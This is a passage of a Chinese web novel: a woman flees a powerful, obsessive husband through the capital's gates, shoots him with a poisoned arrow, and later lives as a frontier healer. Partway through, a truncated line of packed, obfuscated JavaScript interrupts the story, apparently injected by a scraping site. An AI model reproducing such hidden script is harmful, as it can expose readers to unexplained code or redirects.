韦芳舒红了脸,款款一礼:“多谢陆大人。” 如此逗留许久,终于结束了。 陆青檐送人回侍郎府。 韦芳舒下了马车,心道他那日虽然失礼,今日在手帕交面前给足了她面子。 她倒是可以给他一个机会:“陆大人,时间还早,不知可有空,我们去湖上一叙。” 陆青檐说不必。 韦芳舒心中不悦,面前却递过来一个锦盒,盒中是一支纹饰别致的发簪。 “梅花单薄,此簪送给小姐。” 韦芳舒咬唇,忽然抬眼:“陆大人,我愿意嫁给你。我知道你家里有一个侍妾,我不介意。只是陆大人要顾及我爹的颜面,成亲之前,她不能出现在府里。” 哪怕藏在外面。 做主母,总是要大度的,何况只是一个侍妾罢了,韦芳舒自认没有那么小气。 她看着陆青檐:“陆大人是聪明人,好好考虑。” 娶了她,就是官途上的助力,而留下那个女人,什么都没有。 陆青檐想也不想,笑着满口答应:“都听你的。” 韦芳舒一喜,正要说什么。远处忽然炸开一朵烟花,她知道那是什么,是信号。 不过少有人敢在京城放,何况是在正月初一这样的日子。 一个护卫很快出现:“长公子,夫人不见了!” 陆青檐面上笑意不见,策马疾驰离去。 “陆大人——” 韦芳舒失礼地大喊着,也没能叫回来他。 81. 第 81 章 姜昙来到先前的布庄,因正值新年,布庄早就关门,附近的茶棚、小摊也早早收工回家。 此处并非繁华之地,四下里无人。远处街道高高挂起的灯笼,照映得前方一片明亮,更显得巷道黑暗。 紫珠从暗处出来,眼中有泪。 与柳云书虚与委蛇,即使有杜良帮忙,也一定很不容易。 巷口停着一辆马车,两人上了马车,迅速换衣服。 紫珠语速很快:“杜公子昨日就离京了。柳云书被我打昏,又喂了三日的迷药,他老娘卧病在床,这几日只有我外出买菜。街坊四邻忙着年事,并没有起疑。” 姜昙将头发束起,边问:“印章和路引呢?” 紫珠将东西拿出来。 路引有四份,两份是她们的真实身份,另外两份是杜良准备的假货,一旦仔细察看,或许会被看出来。 所以要写一份外出文书,盖上陆青檐的私印。城门口的士兵看到私印,以为她们是陆青檐手下办差的人,必定不敢细看。 姜昙迅速写完文书,在上面落印。 一切准备就绪,接下来该出城了。 紫珠坐到马车外赶车,一边问:“南下的路有东西两道城门,咱们从哪边走?” 自小生长在南方,她们逃走,当然也要往南走。 姜昙吹了吹墨迹:“先从东门走,那里人多,我们可以浑水摸鱼。” 马车哒哒地急行起来。 方才从跑得很快,累到极致,反而察觉不到疼痛。一旦停下来,浑身上下的伤口都在叫嚣。 姜昙取下荷包上的银针,依次落在眉心、手臂等几个部位,呕出一口血来,这才觉得清醒了些。 掀开衣摆,双膝已经渗出了大片血迹。 姜昙将先前的衣服撕成布条,狠狠勒在腿上,厚重的布条止住了血迹,同时收紧了神经,扭曲的痛意反倒不明显了。 姜昙重重吐了一口气。 这时,马车猛地一停。 未吐到实处的这口气,又戛然收了回来,姜昙屏息听着外面的动静。 “陈有仁,陈四,江州人氏……”这是城门兵的声音。 紫珠粗声粗气说:“小哥,我们奉陆大人之令,出京办事。” 姜昙挑起车帘。 那城门兵正想往马车里看,一听是陆青檐手下的人,想看又不敢看,只得从缝隙里张望。 姜昙说:“事急从权,我们得连夜走,您多担待。” 说着她让开位置,让城门兵看清车内。除了一些行李,什么都没有,可见是真的很急。 如此,也就打消了疑心。 城门兵大喊着让堵在城门的队伍让开:“放行!快放行!” 紫珠驾着马车通过城门,行至一半时,听到城门兵身边的一个士兵嘀咕:“大人,陆大人的手下从来都是……” 从来都什么呢? 后面的没有听清。 出了城门,紫珠驱着马车迅速跃出几里路,说话也带了笑意:“姑娘,我们终于出来了!” 姜昙却没有应。 她仍在想方才城门兵的话,从来都什么呢?从来都……都? “不对劲,我们快回去!” 姜昙想出来了:“陆青檐从来眼高于顶,他手下的人和他一样。如果有急事要办,一定暴躁不耐烦。我们方才做错了!” 她们太有礼貌了。 紫珠不懂,既然已经出来了,就该跑得远远的。而且既然露出破绽,为什么还要回去自投罗网呢? 尽管不懂,她还是依照姜昙的话,迅速掉头回去。 姜昙在心中迅速计划着变数。 城门兵起了疑心,或许会去联系陆青檐的人确认真假,他们的速度比她们更快,所以一定会很快追出来。 还很有可能是陆青檐亲自来追,到时候紫珠和她根本跑不过他们。 所以得回去。 回城和出城的通道是分开的两条,城门兵也互相独立着,所以回城时的城门兵不认识她们。 城门近在眼前,姜昙和紫珠迅速换衣服:“用我们的真路引!” 陆青檐防着她出城,却不会防着她回城。 紫珠忐忑地任由城门兵打量,果然如姜昙所说,确认两人的身份后,她们被轻易放了进来。 又回到京城了。 这里几乎等于陆青檐的地方,只要在这里,说不准从哪里冒出来他的手下,就能将两人抓回去。 像是抓网兜里的知了虫,任凭你叫天天不应,叫地地不灵。 嫁到柳家后就是这样的,紫珠总感觉随时随地,暗地里都有眼睛在看着她们。 紫珠有些心慌:“姑娘,接下来怎么办?” 姜昙闭了闭眼:“换衣服,用假身份,从西门走。” 察觉异常的是东门的士兵,西门与东门有一段距离,这么短的时间,消息不能互通。 姜昙赌西门的守卫不知道。 这一次,她们故技重施,扮做陆青檐手底下嚣张的护卫,从城门冲了出去。 经过刚才那一遭,这一次,紫珠仔细观察了城门兵的神色。 出来后说:“西门守卫没有怀疑我们,咱们要从这里出去吗?” 她们已进进出出三次,虽然觉得应该快点跑,可是这下紫珠也不敢贸然驱赶马车了。 或许姑娘又有别的顾虑。 姜昙跳下马车,将衣服都收拾好带在身上,对紫珠摇头:“我们不走了。” “不走了?” 姜昙回头看着城门处,眼下还是一副平静的模样。但她知道,陆青檐很快会发现她,追过来,将城门口搅乱成一锅粥。 “对!弃马车,躲起来!” 紫珠看着黑漆漆的树丛,往姜昙身边躲了躲:“姑娘,我们能安然逃出去吗?” 她方才想明白姜昙的用意。 陆青檐像狐狸一样狡猾,若能一口气从东门逃出去,她们或许还有机会。 可偏偏天意弄人,惊动了城门兵,陆青檐的人就会被提早引过来。 他们以为她们从东门逃跑,就会追逐而去。然而陆青檐身边探子何其之多,经验老道的人一旦仔细分辨,就会察觉出前路没有她们的痕迹。 由此猜测她们又回来了。 可她们还会出城门,唯一的可能就是从西门走。 故而,陆青檐很快会追上来,她们跑不掉,只能待在这里。 从陆青檐身边逃跑,没有她想的那么容易。 姜昙握紧紫珠的手:“一定能,马车上放了石头,足以在路上留下车辙印。我给马儿下了药,又往它屁股上扎了一针,它会跑得很快很远。只要陆青檐的人追过去,我们就有时间往别处逃。” 说话时,城门口传来一阵喧闹的人声,其中还有城门兵的呵斥声,人群乱成一锅粥。 一匹马越过人群,疾驰而出。身后跟着几十个骑马的护卫,一个比一个更急。 紫珠吸了一口冷气:“是……” 姜昙捂住紫珠的口鼻,两人紧贴在草丛中。 是陆青檐。 迎面的寒风吹扬起黑色的斗篷,下面是刺目的绯红。 他刚从宫里回来,身上还穿着官服,策马又急又凶,很快就不见了踪影。 好了,她现在要再赌一次。 赌陆青檐追得太急,赌陆青檐高高在上,如此急切的关头,根本来不及也不会和西门的城门兵对质,更不会告诉他们实情。 姜昙拉着紫珠站起来:“用假身份,我们再回去!” 这一次,她们的时间很多,也很宝贵,必须争分夺秒。 城门处人心惶惶。 城门兵根本不知道发生了何事,只看到陆青檐冰冷的脸色,听他念到其中一个出城之人的名字时,面目扭曲。 城门处的人群闹起来:“大人,什么时候核验身份呐——” “吵什么?”城门兵无心核验,只觉得大祸临头,随手招来一个手下:“你去看!” 姜昙和紫珠便是趁此时进去的。 京城内仍是一片热闹繁华,丝毫不觉黑夜里的暗流涌动。 “姑娘,接下来怎么办?” 东门和西门都被她们搅弄得一团乱,城门兵就算不认识她们,也一定对路引有印象。 再次进出,一定会被盯上。 姜昙没有应答。 “姑娘?” 紫珠低头一看,姜昙满头大汗,嘴角已流出一丝红线,面目痛苦,却还忍着不肯晕过去: “找……找一辆马车……” 浑身上下难受得紧,尤其是双腿和小腹疼得要命,她快撑不住了。 紫珠连忙去寻马车。 可是正值新年,各家各户的马车都有急用,哪有空闲?就连马车行的租空了! 姜昙勉力睁开眼,看到不远处墙角停着一辆,周边无人在。 只能偷了! 待会多放点银子在原地补偿主人吧。 姜昙是这么想的,马车里确实是空的,还铺着柔软的地衣,十分温暖舒适。 然而刚爬上去,找了个地方坐下,还未来得及叫紫珠过来,马车外就传来了人声。 “……这一份送出去,这一份……暂且留着,等回扬州去……” “是,是。大公子在外还念着表小姐,她一定很高兴。” 似乎是一对主仆。 马车一晃,有人上来了。 因为服了琉璃瓶的药,姜昙的脑子时而灵敏时而迟钝,眼下又到了迟钝的时候。 她想着该怎么办,此刻现身,还是跳下去,亦或者劫车。这违反律法不说,她未必打得过车主。 正这么想着,忽然眼前明亮,衣领一紧,姜昙被揪了出来。 “你是谁家的刺客?” 姜昙遮住了眼睛,未看清车主的面容,听到“刺客”二字心内一跳。若不是达官显贵,又深陷政事漩涡,怎么会日日和刺客相伴? 这人不简单,藏在车上已经算得罪他,若被他抓住,还不知道会被怎么报复。 姜昙想起陆青檐那些“料理”人的手段。 快逃! 姜昙拔下头上的发簪,朝那人扎去,他果然往后避开。 然而车主没有想到,如此凶狠且用尽全力的一刺只是幌子,下一刻,这刺客竟然要跑! 姜昙半个身子已跳了出去,正对上双目惊恐的小厮,眼下被人看见也顾不得了! “想跑?” 车主看出姜昙动作不便,捉住她的双腿往后一扯:“回来!” 姜昙就这么摔回马车里,双膝重重磕在地上,她想爬起来,却疼得动弹不得。 身体被扳过来,一把匕首顶住她的脖颈:“藏头露尾,贪生怕死,你主子是谁?” 衣领被猛地拉近,姜昙对上一双错愕的眼睛:“怎么是你!” 姜昙也想不到,生平第一次走投无路起了坏心,竟然劫的是陆家人的马车。 这人还是陆青檐的堂弟,不,应该是堂兄,陆昇。当初扬州陆家炙手可热的大公子,听说和太子师出同门。 陆昇和陆青檐关系不好,原本她可以请他放自己一马,让陆青檐不高兴的事他应该会做。 然而去岁夏末,为了装成兔子的陆青檐,她射过他一箭。 这可真是冤家路窄。 姜昙惊疑不定地盯着他:“我射过你一箭,可以让你刺回来。” 陆昇低头看着还抵在她颈间的匕首,连忙撤回来:“我、我不是这个意思。” 他将她好好地放在一边,跟被烫到了一样,猛地将脸侧到另一边去:“你……先穿好衣服……” 说话时,红意爬上耳根。 事情好像与姜昙想的不一样。 紫珠在车尾小声叫她:“姑娘,找到马车了。” 听完姜昙说话,陆昇恍然低声道:“原来那天,车里的人是你。” 姜昙不知道他说的是哪天,只知道说了这么多,解释清楚自己并不是刺客,已经浪费了不少时间。 既然他不介意曾经射过他,那该告辞了。 “等等。”陆昇拦住她的去路。 他仿佛想明白了什么事,方才怅然若失,此刻已想通了,故而脸上都是神采:“姜姑娘,我出城门很容易,城门兵不会检查我的马车。我于你有用,可以帮你。” 姜昙深深地看了他一眼:“大公子的恩情,姜昙铭记于心。” 陆昇与她对视片刻,再次将脸侧向一旁。 “……不客气。” . 察觉到被骗时,不过是一瞬间的事。 车辙印从官道变换到小路,越来越狭窄,人根本不可能安然通过。 “立刻回去!” 一声令下,所有人跟着调头。 陆青檐咬牙切齿地想:“姜昙啊姜昙,你可真是会耍着人玩。” 回到西城门一问,果然有姜昙回城的痕迹。 她和她婢女两进两出,未必不会第三次出城,她料中了他的行动,给自己争取了更多的时间。 然而东城门的士兵战战兢兢地说:“并无名为姜昙、紫珠二人的出城记录,也无陈有仁、陈四的出城记录。” “怎么可能没有?”邓显说:“再仔细看看!” 城门兵便翻来覆去地找,依然没有找到。 忽然有一人想起来:“一个时辰前,有一辆马车出城,车里有人,却并未露面。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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驾车的小厮被邓显制住,陆昇碍于小厮的性命,并没有阻拦陆青檐。 车帘被长剑削断。 陆青檐探进马车,车内的暖香扑面迎来,有姜昙身上的味道,然而车内空无一人! 陆青檐猛地回头:“姜昙在哪?” 陆昇淡淡说:“兄长,从一开始我就说了,马车内没有别人。我和小厮出城祭奠友人,天亮就回城,你何苦追这么远?” 姜昙不在马车上。 她是从哪里下车的,还是从一开始就没有上车。她又回城了吗?还是又从东门出去了? 不过无论如何,她都不在陆昇身边。 陆青檐深深吸了口气:“陆昇,你等着。” “回城!” 片刻后,方才的人马离去。 没想到陆青檐也有被气到疯狂的这一天。 陆昇对着陆青檐的背影,讥讽地笑了笑,对小厮说:“我们也回城去。” 小厮将车帘装回去,忽然指着车内:“大公子快看!” 车内的地衣上,赫然是一滩殷红的血迹,那是方才姜昙躺过的地方。 . 姜昙浑身疼得抓狂。 她很想跳到冰冷的河水中,她知道河水很冷,但一定能将她冻得毫无知觉,以此抵消痛意。 此刻顺流而下,省力许多。 紫珠坐在一旁休息,拿起先前换下的衣服,衣服虽然破了,但缝补浆洗一番还能用。 她翻找着,突然在衣裙后发现了血迹:“姑娘,你上次月事是什么时候?” 姜昙几乎是用气声回答:“不知道。” 吃了那么多药,不知从何时开始,月信早就乱了,此刻汹涌而来,疼成这样,料想是先前乱服药的报应。 姜昙再也坐不住,躺倒在船舱中,摸了摸额头,一片滚烫。 偏生是这个时候,竟然起热了。 紫珠抱着姜昙的脑袋,放在自己的腿上,心疼地摸着她的头发:“前面快到岸了,应该不会追来了,咱们停一下吧。” 姜昙无力点头。 天边露出霞光,前路一片光明。 姜昙被天边朝霞吸引,来到船头坐下,紫珠在另一端撑船,准备靠岸。 水中钻出一只冰凉的手,猛然抓住了姜昙的脚踝。 姜昙屏息低头看去,陆青檐满身污泥,一张脸白得似鬼,黑漆漆的眼珠死死盯着她。 “姜昙。” 天边忽然下起风雪,如同三年前吴江的梅花巷子里,那间破败不堪的小院。 门缝里那双阴鸷黑沉的眼睛,和眼前这一双重合。 “啊!” 姜昙发出一声尖叫,连声喊着紫珠。 她不断挣扎双腿,脚踝上的毕竟不是锁链,很快被她挣脱。 紫珠从船尾跑过来,看见陆青檐也骇了一跳:“他……是怎么找到这的?” 陆青檐被姜昙踢到了水里,不见人影。但她知道,他还在水下藏着,很快就会出来。 愣神之后,紫珠连忙撑船离岸。 走出一段距离后,陆青檐终于从水里爬了出来,黑长的头发贴在面上,湿漉漉地追她。 “姜昙,姜昙……”身上的衣服吸了水,变成沉重的枷锁,拖慢了陆青檐的脚步。 然而他仍是执着地踩在污泥里,一脚踩下去,拔出一脚泥,又踩下去。 河水淹没到他的腰际。 再往前去,就是威胁性命的高度,而姜昙近在咫尺,他怎么能眼睁睁看着她离开。 “姜昙,回来!你答应留在我身边的,你忘了你的杨伯,忘了你在吴江的昔日同僚吗?” 天边乌云聚拢,忽然刮起寒风来,裹携着雪粒落在水中,砸在人面上。 陆青檐眉间很快落满雪:“你若敢走,我就杀了他们所有人!” 这句话之后,船停了。 姜昙果然出现在船头,她迎风站着,衣裾翻飞,猎猎作响。 初见那天,虽然没有看见她的模样。可是幻想之中,她被湖上的动静吸引,侧首看向窗外时,应该也是这副英姿。 一身男子装扮,美得不似凡人。 陆青檐不由往前走了两步,水几乎淹到了他的胸口。 “阿昙。”他朝她笑了笑。 船头的姜昙,忽然从身后摸出一把弓箭,对准了他。 “嗖”地一声。 一切果然如同初见那样。 噗通一声,视线被河水淹没,河上的姜昙,也看不见了。 82. 第 82 章 陆青檐再次回城,是在一个时辰之后。 座下的快马累得气喘吁吁,身后的下属们也都吃不消了。 姜昙曾这么问过他:“你为什么总是阴魂不散!” 然而要做到阴魂不散,却是很不容易的。 新年伊始,陆青檐策马立在城门口,茫然地看着过往的人群。 那些可怜的贱民们,每一个人都有明确的方向,或是买东西,或是回家,或是出城,脸上弥漫着幸福的笑容。 只有他漫无目的,在城门附近一遍又一遍地打转。 陆青檐不知往何处去追。 姜昙会从东门走吗,还是会从西门走?她是不是又躲藏在暗处,只等他远去,就趁机离开。 她像一条滑不溜手的鱼,一旦离开视线,就跃入大海,全无踪迹。 足足呆愣了一刻钟,陆青檐才想起来要做什么。 将京城所有出口在地图上圈出来,把所有姜昙可能走过的路线都安排好人手。尽管他将所有人马都派出去追,可分到每一条路线上,就变得寥寥无几。 待其他人都飞驰而出,就只剩下了他。 交给老天吧。 陆青檐闭上眼睛,随意抓了一个方向,想也不想地追去。 京城的冬天亮得总是特别慢。 从天有亮色到朝霞出现,又用了一个时辰。 这一个时辰里,他座下的马终于坚持不住,口吐白沫倒在地上。他的马死了,身边的属下将马让给他,待这匹马死了,又换一匹。 就这样,身边的人一个一个减少。半途遇到一个岔路,人分散出去,最终只剩下他一个人。 或许又过去了半个时辰,或是一个时辰,座下的马不肯走了。 陆青檐将它抽得鲜血淋漓,仍不肯动,于是他下马。一边在昏暗的天色中摸索着,一边用双脚探路。 姜昙究竟在哪呢? 她或许在地图上某一条可能的路线上,用她精妙的计谋甩开他那些愚笨不堪的属下,比玩弄他更加轻而易举,最后悠悠逃走。 金灿灿的朝霞照不散河上的白雾。 陆青檐沿着河边行走,脚下虚浮,每迈一步都觉得艰难,四下里无人,他能听到自己沉重的呼吸声,仿佛在走黄泉路。 一盏孤灯破开白雾,引着一艘小船靠岸。 原来不是黄泉路,荒郊野外,竟还是有人的。 陆青檐将箭弩绑在手臂上,藏于背后。他的剑虽然丢了,可还有利器,便可以抢了小船,继续前行。 他潜入水中,然后发现了船头的仙人。 “姜昙。” 手掌触碰到温软的暖意,他才觉得从黄泉回到了人间。 陆青檐从水中站起来。 他找到她了! 看吧,老天终归还是站在他这边。天意如此,姜昙终究要回到他身边来! 事已至此,陆青檐已想明白前因后果。 之前姜昙痴傻的表现,甚至吸入毒烟那件事都是假的。 姜昙从始至终都是之前的姜昙,她聪慧机敏,与凶恶的自己虚与委蛇,伪装成一腔深情的模样,成功地骗过了自己。 他明明已经防守得十分严密,就连她的双腿,他也几乎日日确认,她究竟是何时恢复行走能力的? 隐忍至今,不愧是姜昙! “姜昙。” 第二声时,姜昙才看到他。 然而她满面惊恐,见鬼了一般。和他失而复得的惊喜情绪,是完完全全相反的。 陆青檐下意识低头审视自己,确实太狼狈了些。 也不怪姜昙把自己踢到水里,连他自己都嫌弃此时的模样,哪里像京城的陆大人,更不像光风霁月的世家贵族。 再次从水中站稳爬起来,陆青檐拨弄了下自己的头发。 他有无数话想对姜昙诉说,不是责问她的欺骗,而是倾诉这一路的艰辛。 他生平极少受这样的委屈,更不曾狼狈落魄到此等境地。他只是想和以前一样,和姜昙用力相拥到窒息。 他只是……想让她疼疼他。 可是—— 姜昙总是不肯,总是要与他做对! . 突然其来的这一箭射在肩上。 放在往常,陆青檐一定恨不得满地打滚。 可是如今,他能面不改色地将箭往外拔出,看着锋利的箭尖带出自己的血肉。胸口淌出殷红的血线被河水冲散,与污泥的腥臭气混合在一起。 陆青檐脑中十分清醒,甚至四肢被这痛意激发出无限的力量。 “姜昙!”陆青檐大喊着。 眼前一片迷蒙,他只看得清姜昙的身形,却知道她在看着自己:“我再给你最后一次机会,跟我回去!” 船头的身影抬起手,将什么扔了出去。 看不见,什么都看不见。 但陆青檐就是有一个直觉:她丢的是他的第六指。他们写婚书时,他送给她的定情之物。 她竟如此践踏他的东西。 陆青檐冷笑,向前迈出一步,藏在水中的手臂缓缓抬起。 右臂上绑着箭弩,这箭弩曾经射得锦衣卫出身的汤忖动弹不得,是他杀人的决胜兵器。 无论如何,都要留下她。 然而在他还未抬起手之时,破风声袭来。“嗖”的一声,船上射来了第二箭。 第二箭比第一箭更有力,直接将他射到水里去,这下再也爬不起来。 仰面倒下去之际,他忽然看清了姜昙的面容。 她毫不留情地说了三个字:“去死吧。” 河水灌入耳中,整个世界都安静下来。外面大雪纷飞,水中竟是暖的。 陆青檐在水下睁开眼睛,看到了年幼的自己。 “爹,爹——” 五岁小儿偷偷跟在父亲身后,却被拥挤的人群推到水里。 他在江中挣扎,朝岸上呼救。人群闹哄哄地围过来,然而父亲却一眼未看,径直离开了。 他知道他,他一直都知道他。 陆秋松知道他在跟着,也看到他落水,却故意装作未看到。 他觉得他是个麻烦,或许想着:“啊呀,正月里出生的孩子是祸胎孽种,溺死正省事呢。” 陆青檐不甘心。 他怎么能就这么死了? 然而麻意从胸口的伤处弥漫至四肢,他无法滑稽地像野鹅那样扑腾起来,直接沉到了水底。 这一次,他或许真的要死了。 . 姜昙死死盯着水面,在船头站了许久。 直到紫珠过来,将她染血的十指掰开,边哭边劝:“姑娘,没事了。” 临走时她拿走了琉璃瓶中所有的药丸,陆青檐很怕她清醒过来,故而密盒里足足装了十瓶,吃到明年也吃不完。 也多亏他,姜昙才有机会把药丸中的乌头积攒起来,抹于箭上,射入他的心口。 “真的没事了?” 姜昙喃喃自语,问了几遍,紫珠都肯定地点头。她这才确信,她们再一次从狼口逃脱了。 陆青檐追的太急,只有他独身一人。他不会水,又中了毒箭。 天寒地冻,陆青檐生机渺茫。 雪下得越来越大,盖住了船舱。 姜昙放声笑起来,笑着笑着,眼角淌下热泪。 大喜大悲的情绪冲击,体内未清的余毒发作,她的呼吸逐渐急促,连站也站不住,摔坐在地上。 “血!都是血!” 紫珠一摸她裙角,伸到眼前,手掌中全是刺目的红色。 姜昙额头生出冷汗,发丝乱糟糟地黏在脸上:“别担心,是……迟来的月信。” 这么浓烈的血腥气,用厚重的衣服铺了几层,还在往外渗血,怎么擦都擦不尽。 这怎么会是月信。 紫珠脸色煞白,抖着唇说了好几次,才将字句拼凑完整:“奴婢、奴婢听说……若是察觉到……不想要他……他就会藏起来……” 紫珠刻意隐去那两个词,尽量不触动姜昙的情绪。 然而明白她意思的一瞬间,姜昙咬牙从地上爬起来,毫不犹豫要往河里跳。 紫珠死死抱住姜昙的腿。 姜昙动弹不得,勉强挤出笑容安抚她:“你别担心,我不是想寻死,我就是暂时在水里待一会儿,等血流尽了我再上来。到时候,我们还一起回去,好不好?” 紫珠哭着摇头:“姑娘别想骗我!跟您好几年,就算分辨不出药材,奴婢也懂得一些医理。血流尽了,命就没了。何况你腿还伤着,先前服了那么多的毒药!” 姜昙不说话。 紫珠哭着放开她:“姑娘冷静下来想想,水里那么冷,跳下去后,你真能安然回来吗?” 姜昙怔怔低头。 水面发绿,一眼看不到底,这里是深水。如果方才跳下去,或许真的就没命了。 姜昙茫然地看着紫珠:“那怎么办?” 她虽然懂得医术,却不得不承认,过去她怠于修习,更少为人看诊。面对女子怀孕还是头一遭,更何况是发生在自己身上。 见姜昙态度缓和,紫珠连忙擦干眼泪,将她拉到船舱里坐下。 “眼下最重要的是养好身体,照看好姑娘自己的性命,其余什么都不要管。有些……随它去吧,等到您身子强健时再想办法。万一……” 紫珠看了一眼姜昙的肚子:“就没了呢?” 姜昙闭了闭眼。 紫珠说的对,她的性命最要紧,其他的无关紧要。她们已经逃出来了,还有什么可怕的呢。 眼前到了水路的岔道。 紫珠帮姜昙换了衣服,又在船上熬起药来。 袅袅的白烟飘起来,热气打湿了紫珠的眼睫。 她用手背擦了擦脸上的水意,看向前方的岔路:“姑娘,咱们往哪走?” 姜昙看向桌上的大昭地图,那是临走时陆昇送给她的。 “北上,不去南方了。” “北边,京城的更北边……”紫珠的手在地图上游移,她不识字,却知道北边有许多地方。 “这么多城镇,去哪里好呢?” 姜昙看向船外的风景,苍茫天地间,白雪皑皑。 去哪里都好,越远越好。 . “长公子!” 邓显捞起陆青檐,抖着手在陆青檐鼻间探了探,呼吸微弱。 还好,有救! 他招呼手下:“去找大夫!” 荒郊野外,四处都是荒林和白雪,不见一个人影。 邓显背着陆青檐骑了一里山路,才在半山腰找到一个猎户,当即强征了他的住处,将陆青檐放了进去。 村中的白胡子郎中被推到床前时,双腿发颤:“这人……已经没气了,如何能救得过来?” 一柄长剑搁在郎中脖颈间,割断了他的胡须:“救不活,你陪葬。” 这帮强盗! 郎中也是个半吊子,只能用最寻常的办法,挤压床上病人的胸腹,让他吐出水来。 还好,这人意志顽强,挤压半晌,终于听见他喘过来一口气。 郎中抹掉额头的汗。 脖颈上的长剑紧了紧:“继续!” 郎中说:“这位公子爷中的箭太深,且胸口有旧伤未愈。若贸然拔剑,恐怕危及性命,老朽无论如何也下不了手。” 邓显如何不知:“箭上有毒,若不拔箭,死得更快!” 这这这,拔箭也是死,不拔也是死。 郎中两手一摊:“大人不如杀了我罢,老朽是真的没法子了。” 这时,床上的陆青檐睁开了眼睛,说了一句什么。 “长公子!”邓显连忙趴到床边,听到陆青檐说:“甘、草……姜……” 话未说完,陆青檐晕死过去。 “甘草和姜,快去找!” 郎中从地上爬起来:“这东西山中倒是有!” 待找到了甘草和生姜,郎中很快凭着他的半吊子医术想起来,这位公子爷说的是解毒的药材。 于是无师自通地将防风和绿豆等找到了,最后一股脑地煮成一锅,给病人灌了下去。 邓显反复问了几次:“这些真的有用吗?长公子何时会醒?” 郎中心虚地用袖子擦汗:“很快,很快。” 可究竟何时醒,他也不知道。他不时往门外张望,倒是希望这人手下的护卫,能尽快从城镇带一位德高望重的大夫回来。 就算真的被他治得快死了,神医应是能接下来这个烂摊子吧。 然而直到三更天,派出去的护卫也没能回来。 邓显往墙角看了看,那里是瑟瑟发抖的猎户,和强硬被他拉扯起来,最后却在床尾打瞌睡的郎中。 若是他离开了,就没有一个能靠得住的了。 可派出去的人没能回来,就说明情况有异。若是他不出去寻大夫,长公子或许就真的死在这里了。 犹豫一番,邓显还是决定离开。 就在这时,床上的人悠悠转醒:“伯安,这是在哪?” 一天一夜后,在第二晚的四更天,陆青檐醒过来了。 邓显惊喜不已:“长公子,你觉得如何?” 陆青檐并不说话,眼神望着虚空,不知道在想什么。 邓显犹豫说:“夫人她……属下已命人去追寻夫人踪迹。” 陆青檐打断他:“吩咐下去,一旦寻到,不必带回来。天涯海角,就地格杀。” 邓显震惊抬头。 陆青檐一脸平静,不似作假。 他好像不想再提无关的人事,打量了一圈四周:“尽管一时落魄,也不必节省到这个 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那小红马虽然比寻常的大马矮,可是终究比五岁的小童还要高上一倍。 有些成年人上马都要费半天力,然而那小童一个翻身上去,轻而易举地稳坐在马上,像是已练了千百遍,早已和自己的小红马培养出了默契。 姜昙骑马慢慢上坡,小童和他的小红马也慢慢跟在她身后。 她其实曾经看见过,没有旁人在时,他一个人骑过大马,还做出过许多惊险的动作。 此刻跟在身后,是迁就她的速度。 上了山坡,罗三娘张开双臂走过来,将小童抱在怀里,揉了揉他满头的小辫子:“乌日塔那顺!今天姨娘做了好吃的,留下来吧!” 乌日塔那顺,旁人惯常叫他乌日。只有罗三娘每次见到他,不厌其烦地叫完他的全名。 乌日黑漆漆的眼珠子转了转,征询的眼神看向姜昙。 罗三娘不等他同意,就将他从马上抱下来:“不用问了,姜大夫也留下,你们都留下来!” 罗三娘是地道的中原人,而她的丈夫是北地的牧民。两人在两国交界处定居,每天大昭和北地来回跑。 他们有两个可爱的孩子。 大的叫哈图,意为坚硬。小的叫格日勒,意为光芒。 罗三娘也给他们取过中原名字,不过因为取的太独特,连两个孩子都嫌弃,不肯叫出口。 “小羊儿,小牛儿~” 三娘叫大儿子小羊儿,小儿子小牛儿,叫丈夫为老羊。 还给乌日起了别称:小狗儿。 美其名曰,贱名好养活。 话说出口,罗三娘一拍脑袋:“哎呦,我忘了,小羊儿跟着老羊去爷爷家了。” 于是改口:“小牛儿!” 半晌,小牛儿才从毡帐里出来,脸上有着不正常的红晕,说话也懒洋洋的:“阿娘,别这么叫我,每次都像在说小妞儿。” 罗三娘叉腰:“你不是小妞儿是什么,当初明明跟菩萨说好要个女孩,结果出来是个可恶的男孩。还折腾了我那么久,多亏姜大夫救你,否则咱娘俩就一起见菩萨去了。” 小牛儿轻轻哼了一声,来到了姜昙面前:“姨娘。” 姜昙抵着他的额头:“头晕不晕?想吐吗?” 小牛儿摇摇头。 他原本头不晕,也不想吐。然而一摇头,头就开始晕,也有点想吐了。 姜昙摸摸他的脸:“有些烫,得喝药。” 小牛儿晃晃姜昙的胳膊,拖着长长的调子:“姨~娘~” 姜昙在他脑袋上敲了一记,疼得这小子直挠头。 “你自小肠胃就弱,一旦吃不易克化之物就发热。下次还不长记性,就给你的方子里添一味黄连。” 姜昙边写边斥道。 遇上罗三娘是在北上的途中,那时她大着肚子,一个人跟着商队往北地去。结果被春雪困在破庙,遇上了姜昙。 小牛儿是姜昙第一个接生的孩子,七月大早产,险些被羊水呛住。 也是从他开始,姜昙做了在边陲之地游走的草原大夫。从治人到治牛羊,从接生婴儿到接骨解毒。 范围广而杂。 罗三娘揪着小牛儿的辫子:“你肯定又去抓兔子了,今晚烤羊腿招待姜大夫和小狗儿,你只许看着!” 背过身,小牛儿挤眉弄眼,去牵乌日的手:“阿弟,咱们去抓兔子,我知道那边有个兔子洞……” 乌日看了一眼姜昙,两人对视片刻,乌日扭头跟小牛儿走了。 夜幕降临,罗三娘在毡帐前燃起篝火,叫上邻居几个女人和汉子一起又唱又跳。 姜昙坐在一边,静静喝着马奶酒。 草原上的天很低,像是站到山坡上就能触碰到顶。星星布满天空,快要掉下来一样。 姜昙看着几人歌舞,对罗三娘的邀请微笑拒绝。 坐了一会儿,背后忽然一沉,有什么轻轻撞了上来。 姜昙扭头一看,是乌日塔那顺。 他双颊染上红色,往常撑得滚圆的黑葡萄眼珠,此刻也紧紧阖上。 姜昙一摸他的脸,暗道不好。 这家伙把自己放在一边的马奶酒喝了。 “三娘,我先回去了。” 罗三娘朝她招招手,表示知道。 草原上夜里很冷,姜昙将外衣脱下,裹住乌日,放在马上,一手牵着马慢慢回城去。 不远处就是大昭的边陲小城,姜昙在那里买了一间小院。 回去时,紫珠还没有回来。 驻守边陲的一名士兵向她示爱,她正在考虑要不要答应他,今晚就是最后期限。 姜昙把乌日放到床上,仔细盖上被子。 去打了温水回来时,乌日的眼睛睁开了,黑漆漆的眸子看着她。 